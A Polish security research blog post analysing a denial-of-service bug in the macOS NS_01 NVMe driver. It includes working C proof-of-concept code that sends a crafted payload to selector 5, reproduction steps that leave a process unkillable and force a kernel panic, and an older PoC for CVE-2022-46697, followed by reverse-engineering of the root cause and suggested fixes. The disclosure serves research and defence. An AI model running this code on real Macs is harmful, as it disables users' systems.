Studium Przypadku: Denial of Service (DoS) sterownika IONVMeFamily w systemie macOS

Karol Mazurek

Artykuł przedstawia analizę problemu Denial of Service (DoS), który zidentyfikowałem w tym roku w systemie macOS. Dotyczył sterownika NS_01, będącego częścią rozszerzenia jądra IONVMeFamily.
Pomimo, że błąd nie został sklasyfikowany jako luka bezpieczeństwa uznałem, że warto o nim napisać.

Chociaż nie jest to problem krytyczny, zdecydowałem się o nim napisać, ponieważ szczegóły techniczne procesu jego wykrycia dostarczają cennych informacji na temat detekcji podatności i inżynierii wstecznej sterowników macOS.

Nie będę tutaj opisywać, czym są sterowniki w systemie macOS ani jak można z nimi wchodzić w interakcje z poziomu użytkownika, ponieważ omówiłem to już wcześniej w Drivers on macOS – Introduction to IOKit and BSD drivers:

Z tego artykułu dowiesz się jak wykorzystać stare, publicznie dostępne Proof of Concept do wykrywania nowych podatności oraz jak przeprowadzić inżynierię wsteczną w celu określenia pierwotnej przyczyny awarii lub nieoczekiwanego zachowania podczas fuzzingu.

Miłej lektury!

Ogólny przegląd

Błąd, który zidentyfikowałem dotyczy sterownika NS_01 w systemie macOS i występuje podczas obsługi nieprawidłowo sformułowanych żądań za pośrednictwem selektora 5.

Ze względu na brak walidacji mnożnika rozmiaru (size multiplier) określającego rozmiar alokowanej pamięci, sterownik próbuje utworzyć zbyt duży zakres pamięci IOMemoryDescriptor. Gdy ten zakres jest przygotowywany (prepare()) do bezpośredniego dostępu do pamięci (DMA – Direct Memory Access), wątek wywołujący zostaje zablokowany. Uniemożliwia to zakończenie procesu oraz wyłączenie systemu.

Ostatecznie prowadzi to do wykrycia nieprawidłowej pracy systemu przez watchdog’a podczas ponownego uruchamiania systemu. Co więcej, sterownik jest bezużyteczny do momentu restartu systemu i zwraca błąd: 0xe00002be (iokit/common – brak zasobów) dla wszystkich żądań.
W efekcie inne komponenty systemowe, które polegają na tym sterowniku, nie mogą z niego korzystać, np:

Podatne platformy

Przetestowałem ten problem na Mac Mini M2 (macOS 15.2) oraz MacBook Pro M1 Max (macOS 15.3). Z tego, co wiem, problem nie zostanie załatany, dlatego warto mieć go na uwadze podczas tzw. „dumb” fuzzingu.

Proof of Concept Payload

Poniższy payload powoduje, że sterownik próbuje zaalokować ekstremalnie duży zakres pamięci, co prowadzi do wywołania Denial of Service (DoS). Na ostatnich 4 bajtach musi być 0xFF.

<code>char payload[16] = {
        0x01, 0x02, 0x03, 0x04, // Address part 1
        0x05, 0x06, 0x07, 0x08, // Address part 2
        0x09, 0x0a, 0x0b, 0x0c, // Log page ID
        0xFF, 0xFF, 0xFF, 0xFF  // Size multiplier
    };</code>Code language: JavaScript (javascript)

Dodatkowo wszystkie bajty muszą być użyte (nie mogą być puste – NULL).

Odkrycie problemu

Szukając starych CVE z publicznie dostępnymi Proof of Concept dotyczącymi sterowników w systemie macOS natrafiłem na CVE-2022-46697 autorstwa Antonio Zekića. W swoim badaniu odkrył on problem związany z out-of-bounds access (dostęp poza dozwolonym zakresem pamięci):

#include <stdio.h>
#include <IOKit/IOKitLib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int main(int argc, const char **argv)
{
    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
    mach_port_t mach_port = MACH_PORT_NULL;
    IOMasterPort(MACH_PORT_NULL, &mach_port);
    io_connect_t client = MACH_PORT_NULL;
    io_service_t service = IOServiceGetMatchingService(mach_port, IOServiceMatching("AppleCLCD2"));
    size_t type = 0;
    size_t selector = 5;
    if (service == MACH_PORT_NULL)
    {
        return 0;
    }
    if (IOServiceOpen(service, mach_task_self(), type, &client) == KERN_SUCCESS)
    {
        for (size_t inputStructCnt = 0; inputStructCnt < 4096; inputStructCnt++)
        {
            void *inputStruct = calloc(inputStructCnt, sizeof(uint16_t));
            for (size_t offset = 0; offset < inputStructCnt; offset++)
            {
                ((uint16_t*)inputStruct)[offset] = 0xFF;
            }
            IOServiceOpen(service, mach_task_self(), type, &client);
            printf("type: %zu | selector: %zu | inputStructCnt: %zu\n", type, selector, inputStructCnt);
            IOConnectCallMethod(client, selector, 0, 0, inputStruct, inputStructCnt, 0, 0, 0, 0);
            IOServiceClose(client);
            free(inputStruct);
        }
    }
    return 0;
}
// clang -o CVE-2022-46697 CVE-2022-46697.c -framework IOKit
// ./CVE-2022-46697Code language: PHP (php)

Chociaż ten błąd wykorzystywał nieprawidłową walidację (rozmiaru bufora wysyłanego do sterownika), ciekawym aspektem wspomnianego Proof of Concept jest użycie bajtu 0xFF jako wypełnienia stopniowo zwiększanego bufora.

Sprawdziłem czy bajt 0xFF był kluczowy do wywołania błędu macOS w wersjach poniżej 13.1. Okazało się, że użyte mogą zostać dowolne bajty.

Dodatkowo skonsultowałem się z Antonio, aby upewnić się, że moje założenie było poprawne.

Gdyby tak…

Na tym etapie chciałem zautomatyzować Proof of Concept Antonio i użyć go dla wszystkich zewnętrznych metod sterowników dostępnych w najnowszym macOS. Dzięki temu mógłbym przetestować każdą nową wersję systemu pod kątem tego typu podatności. Wiedziałem, że mogłem użyć dowolnych bajtów, ale pomyślałem, że warto upiec dwie pieczenie na jednym ogniu.

Co by było gdyby tak bajty 0xFF powodowały przepełnienia dla liczb całkowitych?

Głupie pomysły

Plan polegał na wysyłaniu bajtów 0xFF oraz inkrementowanego rozmiaru bufora do wszystkich zewnętrznych metod sterowników, próbując wywołać przepełnienie bufora — tak jak zrobił to Antonio dla pojedynczego sterownika AppleCLCD2. Dodatkowo, używając wyłącznie bajtów 0xFF, chciałem wykryć możliwość przepełnienia liczb całkowitych (integer overflows). Dzięki temu, nawet jeśli nie udałoby się powtórzyć błędu podobnego do CVE-2022-46697, mogłem znaleźć inne przepełnienia liczb całkowitych jako alternatywny wektor ataku.

Szczerze mówiąc, na początku nie wierzyłem, że znajdę cokolwiek – wydawało się to po prostu kolejnym „głupim pomysłem”…

Odkrycie

Uruchomiłem skrypt wysyłający do wszystkich sterownikach macOS zarejestrowanych w IORegistry. Sprawdzał czy można utworzyć UserClient (połączyć się ze sterownikiem) za pomocą IOServiceOpen. Następnie iterował po zewnętrznych metodach sterowników, używając ID selektorów od 0 do 30. Wysyłał do nich bajty 0xFF jako dane wejściowe za pomocą IOConnectCallMethod.

Napisany w języku C program drukował kod odpowiedzi sterownika. Podczas działania skryptu natrafiłem na zawieszenie systemu przy sterowniku NS_01 w selektorze 5.

W ten sposób po raz pierwszy odkryłem omawiany błąd DoS.

Proof of Concept

Poniżej znajduje się kod stanowiący Proof of Concept, służący do wywołania znalezionego błędu. Najważniejsze jest znalezienie instancji sterownika NS_01, następnie wywołanie jego zewnętrznej metody dostępnej w selektorze 5. Wysyłamy payload wykorzystując funkcję IOConnectCallMethod. Alternatywnie możemy użyć 16 bajtów 0xFF.

// clang poc.c -o poc -framework IOKit ; ./poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>

#define PAYLOAD_SIZE 16

int main() {
    io_iterator_t iterator;
    io_service_t service;
    io_connect_t client = MACH_PORT_NULL;
    kern_return_t result;
    mach_port_t masterPort = kIOMainPortDefault;

    // To trigger the bug, none of the bytes can be 0x00, and the size multiplier must be set to 0xFFFFFFFF.
    char payload[PAYLOAD_SIZE] = { 
        0x01, 0x02, 0x03, 0x04, // Address part 1
        0x05, 0x06, 0x07, 0x08, // Address part 2
        0x09, 0x0a, 0x0b, 0x0c, // Log page ID
        0xFF, 0xFF, 0xFF, 0xFF  // Size multiplier
    };

    printf("Payload: ");
    for (int i = 0; i < PAYLOAD_SIZE; i++) {
        printf("%02x ", (unsigned char)payload[i]);
    }
    printf("\n");

    // Find all matching services
    CFDictionaryRef matching = IOServiceMatching("IOService");
    result = IOServiceGetMatchingServices(masterPort, matching, &iterator);
    if (result != KERN_SUCCESS) {
        fprintf(stderr, "Failed to get matching services: 0x%x (%s)\n", result, mach_error_string(result));
        return 1;
    }

    // Iterate through services to find "NS_01"
    while ((service = IOIteratorNext(iterator)) != MACH_PORT_NULL) {
        char serviceName[128];
        if (IORegistryEntryGetName(service, serviceName) != KERN_SUCCESS) {
            strcpy(serviceName, "unnamed_driver");
        }

        if (strcmp(serviceName, "NS_01") == 0) {
            printf("Found target driver: %s\n", serviceName);

            result = IOServiceOpen(service, mach_task_self(), 0, &client);
            if (result != KERN_SUCCESS) {
                fprintf(stderr, "Failed to open driver: 0x%x (%s)\n", result, mach_error_string(result));
                IOObjectRelease(service);
                continue;
            }

            printf("Sending payload to driver: %s\n", serviceName);
            result = IOConnectCallMethod(client, 5, NULL, 0, payload, PAYLOAD_SIZE, NULL, NULL, NULL, NULL);
            if (result != KERN_SUCCESS) {
                fprintf(stderr, "Call failed: 0x%x (%s)\n", result, mach_error_string(result));
            } else {
                printf("Payload sent successfully to driver: %s\n", serviceName);
            }

            IOServiceClose(client);
        }

        IOObjectRelease(service);
    }

    IOObjectRelease(iterator);
    printf("Exploit attempt completed.\n");

    return 0;
}Code language: PHP (php)

Więcej na temat iteracji po IOregistry oraz sterownikach opiszę w oddzielnym poście.

Kroki do odtworzenia

Rozpocznij przechwytywanie logów za pomocą:

sudo log stream | grep -i nvme

Skompiluj i uruchom narzędzie Proof of Concept, które otwiera sterownik NS_01 i wywołuje selektor 5 wysyłając 16-bajtowy payload zawierający mnożnik rozmiaru o wartości 0xFFFFFFFF:

clang poc.c -o poc -framework IOKit ; 
./poc

Proces zostaje zablokowany i nie można go zabić, nawet z poziomu root’a:

Ponownie uruchom ./poc i zaobserwuj, że sterownik zwraca błąd:
0xe00002be - resource shortage

Spróbuj zrestartować lub wyłączyć system, wówczas zauważysz, że:

  • W logach pojawiła się informacja, że jeden z komponentów systemowych korzystający z NVMe przestał działać poprawnie:
  • Proces nigdy nie został poprawnie zakończony;
  • W przypadku pracy na baterii, proces pozostaje zablokowany do momentu rozładowania baterii lub wymuszonego restartu;
  • Restart trwa bardzo długo (w moim przypadku ok. 5 minut), a po uruchomieniu pojawia się panic log;

Pytanie brzmi – dlaczego tak się dzieje?

Inżynieria wsteczna (Reverse Engineering)

Niestety dla większości sterowników macOS nie ma publicznie dostępnego kodu źródłowego. Z rozwiązaniem przychodzi IDA (narzędzie do debugowania) ale przed jej użyciem musimy wiedzieć od czego należy zacząć. Tak jak pokazano poniżej, NS_01 jest częścią rodziny IONVMeFamily:

Zatem kernel extension (KEXT), który powinniśmy przeanalizować, to:
com.apple.iokit.IONVMeFamily:

CrimsonUroboros -p $(ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed) --dump_kext com.apple.iokit.IONVMeFamilyCode language: JavaScript (javascript)

Po przefiltrowaniu symboli odpowiadających za dystrybucję metod zewnętrznych, możemy znaleźć poniższy wskaźnik:

Wykorzystując ten wskaźnik w IDA (przy załadowanym kernel cache), możemy znaleźć punkt początkowy do dalszej analizy:

Wynika z tego, że poc.c wywołuje metodę w AppleNVMeSMARTUserClient::externalMethod.

Nietypowy dyspozytor metod zewnętrznych UserClient

Funkcje dyspozytora dla metod zewnętrznych sterowników zazwyczaj używają tablicy metod, podobnej do tej poniżej. Każdy wpis w tablicy odpowiada kolejnemu identyfikatorowi selektora, rozpoczynając od 0, a łączna liczba metod zewnętrznych do obsługi jest pobierana jako piąty argument (oznaczony jako 3 poniżej):

Jednak tutaj pojawia się niestandardowy kod, który wykorzystuje logikę switch-case. Na podstawie użytego ID selektora sterownik wybiera konkretną ścieżkę postępowania. Maksymalny numer id selektora wynosi 28:

Interesujący dla nas jest selektor o numerze id równym 5. Poniżej pokazano jego logikę:

W celu znalezienia pierwotnej przyczyny błędu należy przeanalizować kolejne linie kodu zaczynając od linii 172.

Zbyt duży zakres pamięci

Błąd wydaje się wynikać z przepełnienia liczb całkowitych spowodowanego przez pole sizeMultiplier. Gdy jako mnożnik zostanie przekazana wartość 0xFFFFFFFF, obliczona zostanie nadmiernie duża długość bufora:

Wyrażenie 4LL * (*(payload + 3) + 1) dla wartości 0xFFFFFFFF w polu sizeMultiplier zwraca 0x400000000 (przekroczenie 32-bitowego zakresu). Następnie jest ona przekazywana jako trzeci argument (size_multiplier) do CreateRequestBuffer:

Wywołujemy kolejną funkcję: IOMemoryDescriptor::withAddressRange, która wykorzystuje przepełnioną wartość size_multiplier, ale najpierw jest ona wyrównywana w linii 12 za pomocą:

v3 = IOMemoryDescriptor::withAddressRange(our_buffer, (size_multiplier + 4095) & 0xFFFFFFFFFFFFF000LL, 3u, this[28]);Code language: JavaScript (javascript)

Ostateczna wartość przekazana do funkcji IOMemoryDescriptor::withAddressRange to 0x400001000, co odpowiada zakresie pamięci o rozmiarze około 16 GB, wówczas:

Funkcja IOMemoryDescriptor::withAddressRange tworzy deskryptor pamięci, który opisuje jeden wirtualny zakres w określonym obszarze (memory map), jednak wartość length przekazana jako argument jest niezwykle duża. Jeśli ten deskryptor zostanie później użyty, może to prowadzić do DoS.

Pierwotna przyczyna problemu

Deskryptor (memory_descriptor) dla tej pamięci jest używany w funkcji: IONVMeBlockStorageDevice::GetLogPage:

W pierwszej kolejności GetLogPage wykonuje zaznaczoną na poniższym zdjęciu linię kodu wykorzystując nasz deskryptor pamięci:

Na tym etapie proces był zawieszony, jednak nie widziałem żadnych debugowych komunikatów w logach. To sugeruje, że funkcja prepare() w GetLogPage jest ostatnią, którą można osiągnąć za pomocą payloadu z poc.c.

To tutaj leży pierwotna przyczyna błędu Denial of Service (DoS) – przygotowanie pamięci o zbyt dużym zakresie do transferu I/O powoduje, że funkcja nigdy się nie kończy.

Przyczyny błędu

  • Główna przyczyna: Obsługa selektora 5 w funkcji AppleNVMeSMARTUserClient::externalMethod;
  • Brak górnej granicy dla size_multiplier, co prowadzi do ekstremalnie dużego IOMemoryDescriptor::withAddressRange;
  • Blokada w funkcji prepare(), gdy adres jest nieprawidłowy lub zbyt duży.

Skutki

  • Utrzymujący się Denial of Service (DoS);
  • Proces nie może zostać zakończony – nawet przez roota;
  • Systemu nie da się wyłączyć ani zrestartować;
  • Kernel panic po wymuszonym odłączeniu zasilania.

Zalecane rozwiązanie

  • Wprowadzenie ograniczeń dla size_multiplier;
  • Walidacja adresu użytkownika i długości bufora przed utworzeniem deskryptora pamięci.

Podsumowanie

Chociaż problem ten nie został sklasyfikowany jako luka bezpieczeństwa, jego analiza pozwoliła na zagłębienie się w działanie jądra macOS oraz poznanie technik wykrywania w nim podatności.

Przeprowadzone studium przypadku to doskonały materiał edukacyjny dla osób zainteresowanych debugowaniem jądra (kernel) macOS, inżynierią wsteczną oraz analizą bezpieczeństwa.

Dalsza lektura

Jeśli interesuje Cię cyberbezpieczeństwo, odwiedzaj regularnie blog AFINE, gdzie na bieżąco publikujemy nowe materiały!

Jeśli chcesz zgłębić tematy związane z macOS, dodaj do zakładek repozytorium Snake_Apple, gdzie znajdziesz wszystkie moje artykuły!

Mam nadzieję, że nauczyłeś się czegoś nowego!

Karol Mazurek
Head of Research

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.

Chciałbyś od razu zadać pytanie? Odwiedź naszą stronę kontaktową.